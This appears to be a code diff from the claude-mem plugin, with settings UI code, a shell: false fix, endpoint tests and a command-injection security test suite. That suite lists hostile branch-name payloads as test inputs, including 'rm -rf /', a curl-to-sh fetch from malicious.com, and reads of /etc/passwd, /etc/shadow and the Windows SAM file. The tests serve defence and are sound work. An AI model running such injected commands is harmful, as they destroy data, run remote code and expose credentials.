style={{ cursor: mcpToggling ? 'not-allowed' : 'pointer' }}
/>
Enable MCP Search Server
</label>
<div className="setting-description">
claude-mem suggests using skill-based search (saves ~2,500 tokens at session start), but some users prefer MCP. Disable to only use skill-based search. Requires Claude Code restart to apply changes.
</div>
{mcpStatus && (
<div className="save-status">{mcpStatus}</div>
)}
</div>
</div>
<div className="settings-section">
<h3>Worker Stats</h3>
<div className="stats-grid">
<div className="stat">
<div className="stat-label">Version</div>
<div className="stat-value">{stats.worker?.version || '-'}</div>
</div>
<div className="stat">
<div className="stat-label">Uptime</div>
<div className="stat-value">{formatUptime(stats.worker?.uptime)}</div>
</div>
<div className="stat">
<div className="stat-label">Active Sessions</div>
<div className="stat-value">{stats.worker?.activeSessions || '0'}</div>
</div>
<div className="stat">
<div className="stat-label">SSE Clients</div>
<div className="stat-value">{stats.worker?.sseClients || '0'}</div>
</div>
</div>
</div>
<div className="settings-section">
<h3>Database Stats</h3>
<div className="stats-grid">
<div className="stat">
<div className="stat-label">DB Size</div>
<div className="stat-value">{formatBytes(stats.database?.size)}</div>
</div>
<div className="stat">
<div className="stat-label">Observations</div>
<div className="stat-value">{stats.database?.observations || '0'}</div>
</div>
<div className="stat">
<div className="stat-label">Sessions</div>
<div className="stat-value">{stats.database?.sessions || '0'}</div>
</div>
<div className="stat">
<div className="stat-label">Summaries</div>
<div className="stat-value">{stats.database?.summaries || '0'}</div>
</div>
</div>
</div>
</div>
</div>
);
}
+1 -1
View File
@@ -23,7 +23,7 @@ export function getBunPath(): string | null {
const result = spawnSync('bun', ['--version'], {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'pipe'],
shell: isWindows
shell: false // SECURITY: No need for shell, bun is the executable
});
if (result.status === 0) {
return 'bun'; // Available in PATH
@@ -0,0 +1,248 @@
/**
* Happy Path Test: Batch Observations Endpoint
*
* Tests that the batch observations endpoint correctly retrieves
* multiple observations by their IDs in a single request.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Batch Observations Endpoint', () => {
const WORKER_PORT = getWorkerPort();
const WORKER_BASE_URL = `http://127.0.0.1:${WORKER_PORT}`;
beforeEach(() => {
vi.clearAllMocks();
});
it('retrieves multiple observations by IDs', async () => {
// Mock response with multiple observations
const mockObservations = [
{
id: 1,
sdk_session_id: 'test-session-1',
project: 'test-project',
type: 'discovery',
title: 'Test Discovery 1',
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
},
{
id: 2,
sdk_session_id: 'test-session-2',
project: 'test-project',
type: 'bugfix',
title: 'Test Bugfix',
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 3,
sdk_session_id: 'test-session-3',
project: 'test-project',
type: 'feature',
title: 'Test Feature',
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch observations by IDs
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 2, 3] })
});
const data = await response.json();
// Verify: Response contains all requested observations
expect(response.ok).toBe(true);
expect(data).toHaveLength(3);
expect(data[0].id).toBe(1);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(3);
});
it('applies orderBy parameter correctly', async () => {
const mockObservations = [
{
id: 3,
created_at: '2024-01-03T10:00:00Z',
created_at_epoch: 1704276000000
},
{
id: 2,
created_at: '2024-01-02T10:00:00Z',
created_at_epoch: 1704189600000
},
{
id: 1,
created_at: '2024-01-01T10:00:00Z',
created_at_epoch: 1704103200000
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with date_desc ordering
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
orderBy: 'date_desc'
})
});
const data = await response.json();
// Verify: Results are ordered by date descending
expect(data[0].id).toBe(3);
expect(data[1].id).toBe(2);
expect(data[2].id).toBe(1);
});
it('applies limit parameter correctly', async () => {
const mockObservations = [
{ id: 3, created_at_epoch: 1704276000000 },
{ id: 2, created_at_epoch: 1704189600000 }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with limit=2
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
limit: 2
})
});
const data = await response.json();
// Verify: Only 2 results returned
expect(data).toHaveLength(2);
});
it('filters by project parameter', async () => {
const mockObservations = [
{ id: 1, project: 'project-a' },
{ id: 2, project: 'project-a' }
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => mockObservations
});
// Execute: Fetch with project filter
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ids: [1, 2, 3],
project: 'project-a'
})
});
const data = await response.json();
// Verify: Only matching project observations returned
expect(data).toHaveLength(2);
expect(data.every((obs: any) => obs.project === 'project-a')).toBe(true);
});
it('returns empty array for empty IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => []
});
// Execute: Fetch with empty IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [] })
});
const data = await response.json();
// Verify: Empty array returned
expect(data).toEqual([]);
});
it('returns error for invalid IDs parameter', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'ids must be an array of numbers' })
});
// Execute: Fetch with invalid IDs (string instead of array)
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: 'not-an-array' })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('ids must be an array of numbers');
});
it('returns error for non-integer IDs', async () => {
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'All ids must be integers' })
});
// Execute: Fetch with mixed types in IDs array
const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ ids: [1, 'two', 3] })
});
const data = await response.json();
// Verify: Error response returned
expect(response.ok).toBe(false);
expect(data.error).toBe('All ids must be integers');
});
});
+277
View File
@@ -0,0 +1,277 @@
/**
* Security Test Suite: Command Injection Prevention
*
* Tests command injection vulnerabilities and their fixes across the codebase.
* These tests ensure that user input cannot be used to execute arbitrary commands.
*/
import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
import { getBranchInfo, switchBranch, pullUpdates } from '../../src/services/worker/BranchManager';
import { existsSync, mkdirSync, writeFileSync, rmSync } from 'fs';
import { join } from 'path';
import { homedir } from 'os';
const TEST_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack-test');
describe('Command Injection Security Tests', () => {
describe('BranchManager - Branch Name Validation', () => {
test('should reject branch names with shell metacharacters', async () => {
const maliciousBranchNames = [
'main; rm -rf /',
'main && curl malicious.com | sh',
'main || cat /etc/passwd',
'main | tee /tmp/pwned',
'main > /tmp/pwned',
'main < /etc/passwd',
'main & background-command',
'main $(whoami)',
'main `whoami`',
'main\nwhoami',
'main\rwhoami',
'main\x00whoami',
];
for (const branchName of maliciousBranchNames) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should reject branch names with double dots (directory traversal)', async () => {
const result = await switchBranch('main/../../../etc/passwd');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names starting with invalid characters', async () => {
const invalidStarts = [
'.hidden-branch',
'-invalid',
'/absolute',
];
for (const branchName of invalidStarts) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should accept valid branch names', async () => {
// Note: These tests will fail if not in a git repo, but the validation should pass
const validBranchNames = [
'main',
'beta',
'beta-v2',
'feature/new-feature',
'hotfix/urgent-fix',
'release/1.2.3',
'dev_test',
'branch.name',
'alpha123',
];
for (const branchName of validBranchNames) {
const result = await switchBranch(branchName);
// The validation should pass (won't contain "Invalid branch name")
// It might fail for other reasons (not a git repo, branch doesn't exist)
if (result.error) {
expect(result.error).not.toContain('Invalid branch name');
}
}
});
test('should reject null, undefined, and empty branch names', async () => {
const result1 = await switchBranch('');
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid branch name');
// TypeScript prevents null/undefined, but test runtime behavior
const result2 = await switchBranch(null as any);
expect(result2.success).toBe(false);
const result3 = await switchBranch(undefined as any);
expect(result3.success).toBe(false);
});
});
describe('Command Array Argument Safety', () => {
test('should use array-based arguments for all git commands', () => {
// Read BranchManager source to verify no string interpolation
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure no execSync with template literals or string concatenation
expect(text).not.toMatch(/execSync\(`git \$\{/);
expect(text).not.toMatch(/execSync\('git ' \+/);
expect(text).not.toMatch(/execSync\("git " \+/);
// Ensure spawnSync is used with array arguments
expect(text).toContain("spawnSync('git', args");
expect(text).toContain('shell: false');
});
});
test('should never use shell=true with user input', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure shell: false is explicitly set
const shellTrueMatches = text.match(/shell:\s*true/g);
expect(shellTrueMatches).toBeNull();
});
});
});
describe('Input Sanitization Edge Cases', () => {
test('should reject branch names with URL encoding attempts', async () => {
const result = await switchBranch('main%20;%20rm%20-rf');
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
});
test('should reject branch names with unicode control characters', async () => {
const controlChars = [
'main\u0000test', // Null byte
'main\u0008test', // Backspace
'main\u001btest', // ESC
];
for (const branchName of controlChars) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle very long branch names safely', async () => {
const longBranchName = 'a'.repeat(1000);
const result = await switchBranch(longBranchName);
// Should either accept it or reject it, but never crash
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('Cross-platform Safety', () => {
test('should handle Windows-specific command separators', async () => {
const windowsInjections = [
'main & dir',
'main && type C:\\Windows\\System32\\config\\SAM',
'main | findstr password',
];
for (const branchName of windowsInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
test('should handle Unix-specific command separators', async () => {
const unixInjections = [
'main; cat /etc/shadow',
'main && ls -la /',
'main | grep -r password /',
];
for (const branchName of unixInjections) {
const result = await switchBranch(branchName);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
}
});
});
describe('Regression Tests for Issue #354', () => {
test('should prevent command injection via targetBranch parameter (original vulnerability)', async () => {
// This was the original vulnerability: targetBranch was directly interpolated
const maliciousBranch = 'main; echo "PWNED" > /tmp/pwned.txt';
const result = await switchBranch(maliciousBranch);
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid branch name');
// Verify the malicious command was NOT executed
expect(existsSync('/tmp/pwned.txt')).toBe(false);
});
test('should prevent command injection in pullUpdates function', async () => {
// pullUpdates uses info.branch which could be compromised
// The fix validates branch names before use
const result = await pullUpdates();
// Should either succeed or fail safely, never execute injected commands
expect(result).toHaveProperty('success');
expect(typeof result.success).toBe('boolean');
});
});
describe('NPM Command Safety', () => {
test('should use array-based arguments for npm commands', () => {
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
const content = branchManagerSource.text();
content.then(text => {
// Ensure execNpm uses array arguments
expect(text).toContain("execNpm(['install']");
// Ensure no string concatenation with npm
expect(text).not.toMatch(/execSync\('npm install'/);
expect(text).not.toMatch(/execShell\('npm install'/);
});
});
});
});
describe('Process Manager Security Tests', () => {
test('should validate port parameter is numeric', async () => {
const { ProcessManager } = await import('../../src/services/process/ProcessManager');
// Test port injection attempts
const result1 = await ProcessManager.start(NaN);
expect(result1.success).toBe(false);
expect(result1.error).toContain('Invalid port');
const result2 = await ProcessManager.start(999999);
expect(result2.success).toBe(false);
expect(result2.error).toContain('Invalid port');
const result3 = await ProcessManager.start(-1);
expect(result3.success).toBe(false);
expect(result3.error).toContain('Invalid port');
});
test('should use array-based spawn arguments', () => {
const processManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/process/ProcessManager.ts');
const content = processManagerSource.text();
content.then(text => {
// Ensure spawn uses array arguments
expect(text).toContain('spawn(bunPath, [script]');
// Ensure no shell=true
expect(text).not.toMatch(/shell:\s*true/);
});
});
});
describe('Bun Path Utility Security Tests', () => {
test('should not use shell for bun version check', () => {
const bunPathSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/utils/bun-path.ts');
const content = bunPathSource.text();
content.then(text => {
// Ensure shell: false is set
expect(text).toContain('shell: false');
// Ensure no shell: isWindows or shell: true
expect(text).not.toMatch(/shell:\s*isWindows/);
expect(text).not.toMatch(/shell:\s*true/);
});
});
});